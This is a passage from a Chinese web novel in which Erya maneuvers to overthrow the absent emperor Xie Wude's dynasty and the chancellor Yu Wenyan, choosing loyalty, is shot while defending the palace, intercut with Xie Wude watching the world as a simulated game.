对于谢吾德来说,这只是一个无足轻重的游戏,但是对于尔雅来说这不是游戏,而是她需要全力以赴的整个人生。 尔雅一直都是道路明确的人,而且她是以自己的方式进行回报。 就像是她感谢自己的母亲一样,她虽然厌恶她的母亲,但是同样也感谢她的母亲所教导她的一切,让她知道她的野心应该落在何处,而不是坐井观天,对一切都茫然无措。 如果没有她的母亲,那她能够想象的最好的结局大概就是嫁给一个世家子弟,而不是看到那些青史留名的人物,向往如同萧国太后那一般的生活。 所以她就要做她母亲做不到的事情。 她母亲想要永远拥有名气的才女,她就要做到。 甚至她还要更近一步。 她没有母亲文学上的才华,不过她有别的方面的才华,而且她还要更多的人记住她。 谢吾德更是让她见识到了,其实除了太后之外还能够有别的最高追求。 不过皇帝稍微有点老套了,不如换一种,换一种能让其他人深刻记住她的方式。 做皇帝又怎么够呢? 不如结束皇帝。 用推翻谢吾德的方式报答谢吾德也是谢吾德自己的心愿,尔雅做起来其实还更加理直气壮。 大家甚至是合作共赢。 尔雅看着邱腾,说道:“其实我觉得,陛下之所以对我另眼相待,可能也有一部分原因就是看上了我的偏执。” 尔雅对着邱腾的质疑,她说道:“我是一个偏执的人。我很偏执,而陛下也是如此偏执的人。我们之间有着惺惺相惜的感觉。” 谢吾德会欣赏尔雅这种脑子不正常的人,她和别人的色彩完全不一样。 不是说其他人不够好,但是这就像是在欣赏艺术一样。 刚进入美术馆的时候,人们会为一幅幅美丽的风景或者肖像画所吸引,但是在看过这一幅幅画之后,就难免会觉得疲惫和无趣。 如果在这个时候走到当代展厅的时候,看到新的艺术形式,很难不眼前一亮。 尔雅就是这样的人。 “邱将军,我身上没有什么多余的财富,也从来没有试图勾结过朋党,只是在朝堂上寻找能够与我合作的人。可能我的目的并不怎么单纯,但是我无比相信这是一条在某种程度上来说是绝对不会出错的道路。我会尽全力让它成为现实。” 邱腾半晌没能说得出话来。 他沉默不语,看着尔雅。 其实他之前也想说:你的孩子会记住你的。 可是这话他也没有说出口。 邱腾还算是一个相对清醒的人,他只要稍微一想就能知道,尔雅会这么反驳他:孩子记住她有什么用呢? 那些朝堂上多少人士想要青史留名,他们根本就不会满足于被家里人记住。 为什么在尔雅身上就可以退而求其次呢? 尔雅绝对不会甘心,因为她和其他人一样,都是人。 这个世界上有男女之分,但是在这之上,大家都是人。尔雅根本就不会拘泥于前者。 “为了青史留名,你什么都会做吗?”邱腾问道。 尔雅好像看透了邱腾的心思,她说道:“邱将军不必担心,当然是美名要远胜于骂名了。既然眼前有此正道,为什么要走歪门邪道呢?给这个时代带来灾难,固然能够让史书记住我,但是还是远不如让整个社会通过光明正大的方式记住我。” 毁灭世界带来的名声只是一时的,但是改变世界带来的名声是一世甚至是无数世的。 尔雅可不会把自己的大好地基给毁了。 邱腾看了看桌上,没有发现酒。 不知道自己是想喝点酒压压惊,还是想看看尔雅是不是喝高了才说出这种话。 尔雅不是为了这天下,也不是为了这众生,而是她恰好和这天下众生站在一起,她觉得正道才是该走的路。 邱腾觉得哪里不对,可是他深想了之后,却又缓缓地放松了下来。 林耀祖之前的想法未必是错误的,没必要太过于细究一个人的真实想法。 尔雅选择了正路,那便是正确的。 而且她的脑子也很清楚,她知道选择正路能够给她带来更大的好处。 这其实也是这个社会的运行之道,他觉得就凭这两项,就证明尔雅是一个聪明而且很难走歪的人。 这些就够了,这些就足够了。 “你可真是……诚实过头了。”邱腾的眼神有点复杂。 这可真是…… 邱腾深吸了一口气:“我真是从来没有见过你这样的人。” 尔雅微笑着看着邱腾:“那这对于我来说还真是至高无上的褒奖了。” 这话听起来就像是听不懂嘲讽一样。 邱腾也只是无可奈何地微微一笑。 其实他也不是在嘲讽,因为他真的是这么想的。 这一天,邱腾和尔雅聊了许多。他们从白天聊到了黑夜。 林耀祖一直在外面,一边看公文一边等着他们结束,所以她并没有焦急,而是觉得邱腾和尔雅谈的时间越长,那就说明尔雅的计划说得越清楚,这是一件好事。不怕邱将军提出异议,就怕邱将军连听的兴趣都没有。 最后,林耀祖看到尔雅送邱腾走了出来。尔雅在看到林耀祖之后,给了她一个稍安勿躁的眼神。 林耀祖放松了下来。这个眼神没有别的意思,说明一切基本尽在掌握之中了。 这件事情,基本稳了。 林耀祖默默地捏紧了自己的拳头,把自己脸上的兴奋之色稍稍地压了下去。 第119章 谢吾德一直都是一个给多少钱干多少活的家伙,如果工资达不到他心中的标准的话,那他会摸鱼摸到底。 当然,如果他感兴趣的事情除外。现在他已经失去了兴趣,失踪只不过是一种特殊的摸鱼方式。 而和谢吾德形成鲜明对比的是余文彦,这货是真的能干到死。 在谢吾德消失的这段时间内,余文彦忙得焦头烂额。 之前许许多多能够被压下来的问题,都在一瞬间爆发了。 在失去了谢吾德的力量之后,海上的陆桥便失去了维护,沟通难以进行。 与其他大陆的联系也逐渐崩塌。 国外的那些人也许对谢吾德有着绝对的忠诚,但是他们对如何忠诚于谢吾德这件事情有着自己的理解。 他们并不会一味地按照余文彦所设想的方向去走。这是一件十分糟糕的事,因为他们没有掌握释经权,每个人都可以有着自己的看法,没必要遵循中枢的调动。 而最大的灾难一直都是来源于内部的。 尔雅带来的不确定性逐渐增加。 余文彦知道尔雅的想法,但是他没想到尔雅能做得这么绝。 尔雅的意志十分坚定,她坚定地想要推翻这个皇帝制度。 余文彦知道这也是谢吾德的想法,可是他觉得这个世界绝大多数人没有这样的勇气去顺着谢吾德的想法迈向如此未知的未来。即使有林耀祖这个来自后世的人也不行,随着她们而来的变动已经带来了足够的不确定性,之后的每一步都是未知的。在失去了谢吾德的庇护之后,她们的每一步都是行走在黑暗之中,谁也不知道前方是不是万丈深渊。留在谢吾德画下的圈中才是最安全的——也许她们会往前踏出几步,但那也只是几步了。 更何况这条路在名义上是和谢吾德对抗的。 不是所有人都有勇气在绝对的力量面前依旧能够保持从容镇定。 他们会患得患失,担心如果自己真的成功了,谢吾德会找他们算账。 哪怕他们的理智已经告诉了他们无需担心的答案,但是他们的身体却会告诉他们应该逃跑。 人不是一个完全依赖理智思考的生物,他们会在恐惧面前退缩,会因为恐惧而战栗。 余文彦在看到尔雅和沿海的地区联合的时候,脑子里就出现了一个不太妙的想法:这家伙是打算真的做绝了。 余文彦难得的把公务放在一边,他背着手,看着远处的风景。 这城中的天已经变了。 之前无数皇朝来来往往,但是这天依然是天,这地依然是地。可是现在随着工业力量的铺开,天空变得有点昏沉,晚上看不到星星。而更远处的丘陵或者山脉也被因为要铺设铁路而被炸开。二十年来的变化远比以往几百年的变化还要多。 因为谢吾德对于站在高处的爱好,余文彦只要一扭头就能够看到身后巍峨的皇宫。 庄严肃穆,有一种不可侵犯的神圣。 它的主人已经不在这里了,但是主人带给这个世界的威慑却仍未消失。 每天仍有无数人从万里之外的地方前来朝拜——不是作为臣子,而是作为信徒,作为皇帝的忠实信徒。如果有古人能像林耀祖那样穿越到这个时间点来,看到眼前的那一幕,怕不是要尖叫出声。现在发生的一切实在是让人难以理解。 这一切都是因为谢吾德。 余文彦还记得谢吾德,记得他们第一次见面的时候,他还以为对方只是一个少年。 谢吾德有着一张绝美的面孔,能够让在场的所有人在他面前都显得黯然失色。 当风吹过他的衣摆、撩起他的衣角的时候,他带着一种飘飘乎若遗世独立的感觉。 只要谢吾德不说话、不乱跑,只是静静地站在那里,他的姿态还真如同仙神一般,可怖可畏。 余文彦并不排斥神佛,他的家人有时候也会求神拜佛保佑平安顺遂。 只可惜这份保佑好像从来都没有什么用。 余文彦之前对这些东西的态度也只是可有可无,寻个安心罢了。 没有人会真的指望单靠求神拜佛就能够得到一切,会相信这种事情的人不是疯子就是傻子。 拜神不过是最后的临门一脚,在胜利的天平可以随时向两方倾斜的时候,通过那一点玄之又玄的力量来让自己获取胜利。 神明靠不住,还得靠人自己。自己才是获取胜利的最重要的因素,余文彦还是更相信自己的力量。 余文彦这么想着,也随着家里人去拜过神,但是他已经很久没有这么做了。 原因无他,是谢吾德一次随口问他昨天吃的什么,余文彦回答去寺庙吃的斋饭。之后谢吾德一脸仿佛遭受了背叛的表情说道:“你宁肯去信那些东西,也不肯信仰我吗?这算什么,夫目前犯?” 余文彦也不知道谢吾德又在说什么疯话。他听不懂“夫目前犯”是什么意思,但是他懂“夫”是什么意思。 不过这位陛下既是神又是神经病。有时候他说的一些词能够让余文彦浑身一抖,但是在这种时候没必要把他的话太过当真,认真就输了。 “还请陛下恕罪。”余文彦在这种时候从来不和谢吾德顶嘴,他老老实实地认错。 谢吾德也就是动静比较大,实际上不会把这件事情放在心上的。只要他做出足够严肃的弥补姿态,谢吾德就绝对不会生气。这么说来,他的脾气其实还挺好的。余文彦之前还听说过有一些宗教还挺极端的,不允许自己的信徒去别的神庙拜神。 当时谢吾德兴高采烈地拿出了三根香,又拿出了一个香坛,然后放在他自己的面前,对余文彦兴致勃勃地说道:“好吧,作为我的丞相,我可以给你一点点殊荣,比如说让你亲自为我敬香,说不定我会保佑你一点呢。” 余文彦看着谢吾德那种兴致勃勃的样子。 谢吾德是一个看上去细皮嫩肉的家伙,他的皮肤白皙中透着红润,整个人看上去非常健康。 谢吾德双手托腮,那双幽蓝色的眼睛看着他。 余文彦觉得这三根香怎么都插不下去——他这辈子就没给活人上过香。 换个人大概会勃然大怒,觉得余文彦这么做是想要咒他,可是现在余文彦要做的事情正是谢吾德要他去干的。 谢吾德的画风一如既往的抽象且无法让人理解。 最后余文彦也只能满脸无语地给谢吾德上了三炷香,然后看着谢吾德在椅子上笑得夸张。 余文彦当时忍不住问:“陛下,这样做对您是有什么裨益吗?” 余文彦说这话也没别的什么意思,他是丞相,谢吾德是皇帝,如果一件事情对皇帝有利的话,作为狗腿的丞相,他自然要为皇帝把这件事情办妥。 但是谢吾德摇摇头说道:“没什么用,就是好玩。看着一群人费劲心思想要试探出我的喜好,又或者是做出一堆繁复的规矩把自己困住,这都挺有意思的。” 祭祀是取悦神明,但是何尝不是信徒取悦自己的方式呢? 指望只要通过这种方式就可以让神明降下对他们的眷顾。实际的眷顾大概是有的吧,至少对于谢吾德来说是如此,不过真的要把这份眷顾落到实处,要看神明今天的心情. 余文彦发了一会儿呆,他感受着外面流动的风。忽然他觉得有点冷,拢了拢自己的衣服,重新回到室内,打算继续处理今天的公务。 现在递交给余文彦的公文逐渐减少,这并不是一件好事,也不是余文彦处理事情得当——这其实是一种崩塌的象征。缺少的公文都去哪里了?是那些人懒得写,打算占山为王,还是干脆交给尔雅了呢? 余文彦是一个足够优秀的丞相,但却并不是神。更没有那种能够成为某一方面的代表、成为别人津津乐道口口相传几千年的传说级人物。所以对于很多事情,他也是无可奈何,只能够让一切都推得慢一点,再慢一点。 公文少了,并不代表事情就少了。在公文之外,他还要处理许多事情,甚至自己人还要给他添一点乱。 禁军统领进了余文彦的房间,他看着余文彦,眼中带着几丝质问。 “丞相,我敬称您一声丞相,是因为您是陛下信任的人,但是这并不代表我们就要百分之百地听从于你。现在那群叛徒已经想要挑战陛下的威严了,你却让我们在这里看着,什么都不做。您觉得您还配做这个丞相吗?” 禁军统领说这话的时候极具压迫力地看着余文彦,眼睛中也带着一丝威胁。 没人是傻子。 尔雅的崛起和余文彦息息相关,没有余文彦的支持,尔雅是几乎不可能走到今天这一步的。 和谢吾德新征服来的土地上生活的人不一样,他们这些信仰谢吾德的人是承认朝廷的威信的。在谢吾德失踪之后,绝大部分权力自然而然地就落到了余文彦的手中。 这也是余文彦可以命令他们的原因。 可是他们也不傻,在余文彦无法让他们满意的时候,他们不会乖顺地趴在余文彦的脚边做他的恶犬。 那是谢吾德才有的待遇,余文彦算是哪根葱? 进来的禁军统领是直接闯入的,外面还有一些其他的禁军,他们手中都拿着武器,看着余文彦颇有一种咄咄逼人的架势。 “怎么,如果我不同意的话,你们就要杀了我吗?”余文彦看着这些人手里拿着的武器。 他口中说着这样的话,但是脸上却没有多少恐惧。 余文彦是一个身段柔软、底线灵活的家伙,但是这都是相对的。 世家大族所要求的忠诚和坚定,是即使面对谢吾德这种级别的危险敌人,也能够鼓起勇气直言进谏,甚至直接刺杀对方,给对方一个深刻的教训。 在这点上,余文彦完全不及格。 只要谢吾德稍微一威胁,他就会变得很怂,然后为谢吾德做出种种如同帮凶一般的计划。 但是要说余文彦是那种别人随便说两句就会吓得一句话都说不出来的人,他也不可能做这个丞相。 如今他心平气和地看着这些人,眼睛里可没有半分的恐惧。他伫立在那里,仪态从容镇定,果真有丞相的风度。 禁军统领并不喜欢余文彦的这副作态。 即使是寒门,那也不是普通的百姓,余文彦身上有一种在他们看来装腔作势的感觉。 谢吾德的禁军主要还是由那些普通百姓出身的人组成的,所以他们不是很喜欢这种装模作样的姿态。 “我当然敢。”禁军统领非常坚定地说道。 为了今天他做足了准备。 他的幕僚给他提供了几个方案。 现在朝中混乱,皇帝一直不出现,谢萍和谢瑛所掌握的权力也不完整。 如果能够掌握足够的力量,那么他们完全可以废立丞相,自己来把握方向。 余文彦的想法在他们看来太过于飘忽不定了,之前他一直和每个势力的关系都算是过得去。在这种危险到来的时候,他也有可能站在任何一个势力一边。 为什么要有一个二五仔作为他们的领头人呢?为什么不选一个绝对忠诚于谢吾德的人作为带领他们的人呢? “是有人和你说了什么吗?”余文彦很平静。 “这件事情就不劳烦丞相操心了。”禁军统领非常圆滑地把这句话给挡了回去。 这个姿态几乎就是在表明,在他们看来,余文彦根本就不是自己人。 余文彦摸着自己的下巴,看着这些人,一言不发,眼睛中带着一点笑意。 禁军统领看着余文彦。 之前他觉得余文彦会妥协,至少会表现出一些底气不足,但是余文彦这种从容平静的姿态真的是出乎了他们的意外。 难道他一点都不慌吗? 起码心虚一下吧。就他做的事情到底有多过分,他自己不可能不清楚。这些人是真的打算杀了余文彦吗? “你们杀了我之后呢?你们打算做什么?你们打算推举谁来担任丞相?你们组好对应的机构了吗?有足够的人手来应付之后的危机吗?”余文彦开口了。 禁军的战斗力是毋庸置疑的。 他们的士气之高甚至堪比当年邱家军的精锐军队,真要打起来,一个个都视死如归。毕竟他们是被信仰所驱动的,是为谢吾德卖命的狂信徒中的战士。余文彦毫不怀疑他们可以战至最后一人而不后退。 但是问题就在于,他们的人实在不多。 如果真的打起来的话,他们能够派上的用场并不多,而且他们手中很多的武器零件的生产还要仰赖尔雅那边。 “有多少人会站在你们身边,你们想过吗?”余文彦噼里啪啦地丢下了一大堆问题。 禁军统领在那里愣住了。余文彦似乎能够听到他大脑飞速运转直至过热的声音。余文彦现在的气场变得十分恐怖,他就像是上课时随机抽查学生问题的老师一样。每一个问题都直指学生的薄弱点,带来一种强烈的压迫感,让人喘不上气。 禁军统领的幕僚之前当然跟他提过这些问题。禁军统领靠着记忆中对幕僚说的话,把自己的计划一点点都说出来。有一些他还觉得机密,不打算和余文彦说。在禁军统领把自己的解决方法说出来之后,余文彦只是一个劲地摇头。就算是禁军统领恼羞成怒,把那些在他看来是比较机密的东西说出来,余文彦也是连连摇头。 “不行,这还不够。” 余文彦的态度很认真,他甚至给他们提出了一些自己以前在处理政务时遇到的问题。 禁军统领所招揽到的幕僚能力已经算是特别优秀了,但是还是和余文彦这种在官场滚了三十余年、什么乱七八糟的情况都见过的丞相不一样。 那位幕僚还年轻,手段也比较稚嫩,站的位置也不够高,他处理事务的能力和余文彦是天差地别。 禁军统领到最后被余文彦问得额头有点发汗。 可是他偏偏不能够因为这种事情直接杀了余文彦。 因为从某种角度上来说,余文彦也是在帮他们查漏补缺。 他能说出这些话,就证明他在某种程度上来说还是偏向谢吾德的。 陛下还在,他们怎么能够杀死同伴呢? 至少得证明余文彦真的想要背叛谢吾德再说。 禁军统领心里还有一点不是滋味,还有一种难以言喻的感觉。 之前在他看来,余文彦虽然有些能力,但是也不是不可替代的。 他之前和余文彦接触的时候,从来没有深入聊这么多。 他很忙,余文彦也很忙。 好笑的是,只有在今天,在他决定杀死余文彦的时候,他才真正和余文彦进行了一次深刻的交流,深刻地感受到了余文彦的能力。 过去那么多年,谢吾德一直没换丞相,不是没有原因的。 谢吾德会念旧,但是同样的,他也会喜新厌旧,近三十年一直放着一个人在身边,多少都会有点腻。 但凡有个能力能够和余文彦相比的人,他都会很乐意地想要把对方放到丞相之位上看看,看看对方能给他整出什么惊喜来。 就算不是惊喜,那也可以尝个新鲜。 可惜没有。 谢吾德没有余文彦那样治理国家的能力,但是他能够感觉得出来余文彦的水平高低。 当年谢吾德因为余文彦随口一句吐槽就点出来做他头号小弟的家伙,确实是一个该死的人才。 这个世界对于谢吾德来说是个游戏,而亚夏和温特在给自己游戏福利的时候也不吝啬,开局就是免费赠送六星战神,让谢吾德卡关——让他在这个世界能够玩得更痛快。 禁军统领被他念得头疼。 禁军统领能坐上这个位置的人都不是蠢人,他也知道许多秘辛,但是和余文彦这种泡在文山会海中的人还是有不小的差距。 他被人念得头疼,于是问道:“你跟我说这么多干什么?” 余文彦又陷入了思考,这一次思考的时间格外长。 禁军统领这次没有催他,两个人都在缓缓地整理着自己的思路。 半晌,他才听到余文彦仿佛喃喃自语一般地说道:“可能因为……我还是陛下的丞相。” 余文彦是清楚的,这世界上的一切对于谢吾德来说就是一场游戏。 他见过孩子玩泥巴,做出了一个作品之后又残忍地毁掉。 他是完全可以用孩子的行为来推测谢吾德的行为的。 创造是一种乐趣,毁灭也是一种乐趣。 谢吾德不介意看着这个国家被毁灭。 他是这个世界上最残忍的人。 余文彦觉得到了自己这个岁数,他应该对这个世界做出一点真正的贡献,为这个国家安排一条退路。但是作为谢吾德任命的丞相,他又觉得自己应当随着这个国家一起走向末路。 余文彦想到自己和谢吾德过去的相处。他深深地叹了一口气,又不知道为什么笑了起来。 他的年纪已经很大了,已经到了拥有孙辈的时候了。但是这个笑却让他听起来像是年轻了几十岁,仿佛有一股活力重新出现在了他身上。 这是何等神奇的事情,太令人意外了。 余文彦笑得畅快淋漓,禁军统领忍不住侧目看向了他。 余文彦应该不会被他吓疯了吧?这个想法在他的脑子里也只是一闪而过。之前没有疯,现在才疯,是不可能的事情。 余文彦笑够了,他整理了一下自己凌乱的头发,打理整齐。 他帮助尔雅是为了让他自己无愧于心,无愧于先贤的教诲。 而现在,他要帮助谢吾德了,无愧于他对谢吾德的忠诚。 这份觉悟让他身上如同枯木逢春一样。 他笑得前仰后合,无比快乐。 他想到了萧国丞相,那位萧国丞相对萧国无比的忠诚,他愿意为萧国殉国。余文彦一直都不觉得自己会是这样的人。可是他从来没有想过,萧国丞相的经历居然可以在他的身上复刻。 是的,他是一个身段柔软的人。 无论是他还是谢吾德,都不相信余文彦会做出如同殉国一般的事情。 他有能力,但是没有忠诚,他的忠诚在许多人眼里都是一个笑话,都是不存在的东西。 可是真当走到了这一步,他忽然发觉自己好像并不是这样的人,他其实并不怎么了解自己。 那个将他从败者的身边拉走、向他托付了全部信任、让他能够一展自己抱负、成为了一个无比自由的丞相、帮他重新回到了家乡找回了亲人的存在,其实对于他来说,是十分重要的。 这是他的主人,也是他的恩人。 余文彦之前一直觉得,有一些自诩高尚的人,在遇到危险的时候可能会露出胆怯扭曲的一面。 但是他没想到,如同自己这般胆怯的人,在这种时候竟然还能够觉醒对谢吾德的忠诚。 他看向禁军统领,说道:“放心吧,之后的事情由我来处理。我会向陛下证明我对他的忠诚的。” 哪怕代价是他的生命. 亚夏推了一下自己的眼镜,看到屏幕上出现了一行行字,字上写的是余文彦在面对禁军统领的质问之下,发现自己对皇帝的忠诚,做出了与国同休的决定。 亚夏忍不住“啊”了一声。在惊讶之中,他的手指一不小心摁在了镜片上。不得已,他又把眼镜拿下来用纸巾擦了擦,重新戴上了。 谢吾德抬起头,看向亚夏,然后探出头看向亚夏面前的屏幕,他也微微顿住了。 他和亚夏对视一眼,两个人都一言不发。 最后谢吾德说道:“真是令人意外。” 他正在加速那个世界时间的运转。那个世界经历的一切会以草稿的方式出现在屏幕上,供谢吾德进行参考。 余文彦内心那漫长的纠结、体现出来的一切心理活动,在推演中只变成了一句话,就如同一个万里挑一的人在史书上短短的一句话。 但是他们两个都清楚,这背后也许是一个人内心的挣扎和纠结。他们现在所处的位置是高高在上的神明,低头俯视着自己的玩具在他们的手上苦苦挣扎。他们所做的只有观察。 谢吾德不会伸出手去援助余文彦。同样他也没有逼迫余文彦,他就是看着余文彦做出了这种匪夷所思的决定。 谢吾德托腮看着计算机自动进行的推演。 对于他来说,这才刚刚过去几个小时。推演可以再快一点的,只不过谢吾德想要稍微放松一下,做点自己想要做的事情,才没有把时间进一步调快。 亚夏不说话,他只是垂下眼,不知道在思考些什么。 谢吾德情绪来得快,去得也快。现在他已经玩够了,不想思考余文彦的事情了。 他开开心心地搂住亚夏的脖子,像是要掐死他一样,往他嘴里塞冰淇淋。 “来尝尝,我好久都没做这种蛋□□淇淋了,我的手艺应该还没有退步。” 亚夏偏了一下头,没有去碰勺子,而是一口咬在了谢吾德的手上,把谢吾德咬得嗷嗷叫。 这个家伙还真是一点心都没有。 谢吾德还真就是那种天地不仁,以万物为刍狗的神明。 明明知道余文彦这么选的结局大概就是死亡。 第120章 “殿下,殿下。”一个人喊住了谢萍和谢瑛。 两人同时回头看向过来的人,她们问道:“你有什么事情吗?” “殿下,难道你们就这么心甘情愿地把皇位让出去吗?这可是谢氏的江山啊!” 如今的情况,明眼人基本都已经能看得清清楚楚的了。 谢萍和谢瑛基本站在了尔雅那一面,成为了尔雅的帮凶。 余文彦的立场依旧模糊,让人摸不清他的真实想法,但是整体而言,现在的情况十分有利于尔雅。 有很多本身就有点摇摆的人也逐渐倒向了尔雅。 眼前的这个人显然属于朝中的忠臣那一挂的。 他们这些人能够理直气壮地去尝试杀死余文彦,但是却不敢对谢萍和谢瑛动手。 她们身上流着和谢吾德相同的血脉,是宗室,他们怎么可能动手。 有些事情别人可以干,但是他们这些自诩忠诚的人是绝对不能干的,不然就会给人落下把柄。 谢萍和谢瑛相对一笑。 她们就知道这群人是来跟她们谈这些的。 之前也只不过是从旁敲击,比如说感叹一下荣朝将近二百年的光辉似乎就这么没了之类的话。试图勾起谢萍和谢瑛的同情。他们说得那叫一个离奇哀婉,就好像没了的不是谢家的皇朝,而是谢萍和谢瑛她们家的黄金一样。 谢萍说道:“先生不必紧张。现在的情况还没有那么差劲。” 至于真的不差劲还是假的不差劲,那就只能看每个人怎么分析了,反正谢萍和谢瑛就主打一个糊弄。 谢萍和谢瑛是真的不在意谢家的江山。 在他们的兄长、他们的父亲、他们的祖父死亡的时候,她们的内心都毫无波动,甚至只觉得他们死得有点晚了,哪里还会在乎更加飘渺无形的皇朝。 是的,她们对荣朝其实是有着恨意的。 虽然严格来说,那群人是她们的亲人,可是她们没有拍手称快就已经是最大的体面了。 她们没有主动推动皇朝覆灭已经是看在谢吾德的面子上了。 别看荣朝现在横绝宇内,无人匹敌,但是这是因为荣朝好吗? 那还不是因为谢吾德太强了。 这件事情和属于其他人几乎没有任何关系。 从某种程度上来说,荣朝在谢吾德继位的时候就算得上是覆灭了。 谢吾德从来不遵循什么祖先制度,也无视掉各种条条框框,就连在荣城建立之初就立下的世袭罔替的爵位也都能被他废了,这和改朝换代又有什么区别? 现在谢吾德玩够了这个游戏,打算把这个国家给丢掉,那她们还有什么挽回的必要吗? 没有。 而且她们清楚自己没有力王狂澜的力量,那当然就是退位让贤了。 可是这种事情怎么能够容得下太多糊弄。 忠臣看着这两个人,眼睛里多出了一点仇恨,最后有点恼火地说:“如果陛下知道你们做了如此之事的话,他一定会对你们感到失望的,他肯定会后悔将你们救出来。” 这话的确让谢萍和谢瑛有所触动。 谢吾德是她们的救命恩人。 如果当时没有谢吾德,就不会有现在的她们,也不会有人为萧国皇宫的两个女孩报仇。 即使是萧国人,对荣国的皇室男性也都是十分客气的,他们侮辱这些人的方式是通过侮辱他们的女人达成的。 但是,这算是什么侮辱呢? 这就跟扎小人诅咒人死一样。虽然这种事情往往会闹得很大,被扎小人的人也会感到分外的不爽,但是如果这招真的有用的话,谢吾德就不会还活到现在了。 也只有谢吾德会在意这种事情。 “可是我想,这本身不就应该是陛下希望看到的吗?”谢瑛也不演了,她直言道。 那个人面皮抽动了数下,最后被谢瑛直接气晕。 谢萍捏着鼻梁叹了口气,让人把这人带下去治疗。 总不能真的把人气死了。 好歹是谢吾德的臣子,不看僧面看佛面嘛. 事实证明,没有谢吾德的朝堂的确很不行。 努力是会有收获的,而不努力也是会有相对的报应的。 朝堂上的人所面对的就是来自谢吾德之前不注重吏治而得到的报应。 谢吾德只是不希望其他人薅他的羊毛——比如说贪污受贿或者为非作歹,其他的方面他就懒得管了。 在谢吾德手下,多做不一定会错,但是因为谢吾德的道德标准和这个世界其他人有着微妙的差别,导致很多人觉得没问题的事情在谢吾德眼中看来是不可饶恕的,最后造成的效果依旧是老一套的多做多错,少做少错。 对谢吾德来说最重要的是能不能够让他感觉到愉悦。 以愉悦为标准,而不是以能力为标准是肯定要出大乱子的。 这就导致了在基层的部分,荣国的坍塌速度快得恐怖。 没有谢吾德提供足够的物资保证,现在基本也只有尔雅和余文彦注重管理的地方才有着基本的粮食产出。 而余文彦因为朝堂上一些人对他的弹劾,还不能加大粮食产量,因为这样真的会有脑子有病的人跳出来说他不够相信谢吾德的能力。 余文彦当然不会听这群人的话,他在谢吾德面前身段柔软,但是在别人面前态度还是很强硬的。 只要他没疯,就不会把所有的希望都放在谢吾德身上,这根本就是个靠不住的家伙。 可是余文彦清楚,底层下面的人却不清楚,对于他们来说,谢吾德就像是空气一样。 老子说:“上善若水。” 他觉得为人君主就是要无为而治。 谢吾德可能已经进入到了下一个层次了——直接化身空气。 他一直都在,已经融入到了所有人的生活中。 所以人们完全不认为谢吾德会离开。 下面的人没有干活的动力,所以他们摸鱼摸得那叫一个狠。 余文彦又只有一个人,他实在是分身乏术。 整个朝堂上下散发着除了对谢吾德表达尊敬之外,在一切事物上的怠惰。 朝堂上的人其实都知道之前临川陈氏在天幕上爆出来的事情,知道跟着谢吾德走会迎来灾难,可是谢吾德给他们的东西让他们的日子过得实在是太舒服了。 说不定未来已经改变了呢。 谢吾德就像是麻醉剂一样,让每一个人都在自己的脑子里欺骗着自己。 压力和动力本就是有关联性的。 没有了来自生存方面的压力,就不能够指望他们积极工作。 现在谢吾德失踪了,他们总算知道努力了,但是为时已晚。 尔雅他们还是成功地打了进来,而那些之前誓死效忠谢吾德的禁军也大多被他们所杀,只有寥寥数人被俘虏。 这些禁军都是对谢吾德信仰最为坚定的人,面对着敌人的俘虏,他们不但不害怕,还很坚定地相信这群不忠不义之徒早晚会被谢吾德抓住惩罚的。 尔雅看着他们,只是叹了口气。 这群家伙特别难缠,还杀了许多他们的同伴,但是他们不是这一切的罪魁祸首,在他们之上还有一个巨大的威胁。 在推开这扇门之后,他们面对的应该就是谢吾德了. “余文彦,你怎么在这里?”林耀祖着实是意外得很。 她之前一直以为余文彦是站在他们这一面的,毕竟在最开始是余文彦一直给他们提供帮助。 余文彦不是那种坏透的人,而且他的身段灵活。 在意识到谢吾德离开之后,他就应该明白这个国家是难以维持下去了,因此改换身份是理所应当的事情。 余文彦不可能不知道谁会获得最后的胜利。 这是显而易见且无需思考的。 余文彦笑了:“你们可以称我为丞相。” 林耀祖用一种奇特的眼神去打量着余文彦。 余文彦年轻的时候还有几分儒雅的风度,多少也算是个美男子了,可是他在谢吾德面前总是被他搞得灰头土脸的,这份风度便当然五村。 然而此刻他站在那里,即使人到老年,身材有点变形,可是却忽然多出了一点凌然不可侵犯的气势。 他的身上还陪着一把剑,腰背挺直,没有半点弯下来的意思。 林耀祖觉得自己第一次认识余文彦。 可能她也从未真的认识过余文彦。 余文彦已经做出了他最后的决定。 作为一国的丞相,他又怎么可能会背叛自己的君主,选择站到别人的那一面? 如果在这种时候,丞相都站到了别人的一边,那么荣国这个国家算什么呢?算是一个笑话吗? 谢吾德把这一切当成游戏,难道他也要把这一切当成游戏吗? 余文彦其实没有太多的政治抱负。 他步入官场,在很大程度上也是因为家人对他的期待。 成为高官,是在这个国家中证明自己的最好方式。 他的目标就是成为最大的官,而不是有着任何的理想——至少这份理想从不纯粹。 就算有理想,也都是和自己家人相关的。 他只是一个普普通通、平平凡凡的人。 但是即使是一个普普通通的人,他也不希望自己的一生成为谢吾德的游戏,他只是一个遵从谢吾德的设定而被玩弄的棋子。 他也是活着的人,他有自己的想法。 余文彦其实也是想要证明一件事情:他们荣朝不是一个笑话。 “我,余文彦,荣国丞相,二十余年兢兢业业,未有一日懈怠……” 说来可笑,余文彦其实从来不是以贤臣良相的标准来要求自己的。 可是现在,在他身为丞相的这些年里,他却又的确宛如一个贤臣良相一样。 这是阴差阳错的结果。 他有一个对什么都不在意、但是偶尔却有莫名其妙要求的君主;有一个满脑子奇思妙想、需要他不停地收拾烂摊子的君主;还有一个能够走到任何人都走不到的位置的君主。 这一切都是因为谢吾德。 “我没有任何可以报答陛下的事情。所以你们如果想要去找陛下的话,那就跨过我的尸体吧。” 他们都知道谢吾德现在并不在此处,余文彦的守护也毫无意义。 但是余文彦就是这么做了。 他是在证明自己。 余文彦抽出了自己的剑,对准了自己过去的同僚。 他们手中拿着枪,但是余文彦脸上毫无畏惧…… “你的态度真就如此坚决吗?”余文彦听到有人问。 “陛下有恩于我。” “陛下有恩于这个世界上的所有人。”尔雅说。 “那我也打算报答陛下了。”余文彦说道。 尔雅叹了一口气:“真是可惜。” 尔雅抽出腰间的枪,冲着余文彦的头直接开枪。 林耀祖和弹幕都惊了,为尔雅这种不讲武德的操作而震惊。 五步之外枪快,五步之内枪又快又准。 余文彦被尔雅击中了胸口,他倒在了地上。 尔雅说:“对不起,但是时代变了。” 但是其实她觉得自己也没有什么好抱歉的。 她和余文彦都是动脑子的人,武力的较量本就没有什么意义。 而且她还要保留自己的体力,之后有更重要的事情去做。 余文彦现在还没有死,他还保留着一定的意识。尔雅对他说道:“余文彦。” 余文彦动了一下眼睛,但是他没有说话,现在他几乎都快没有说话的力气了。 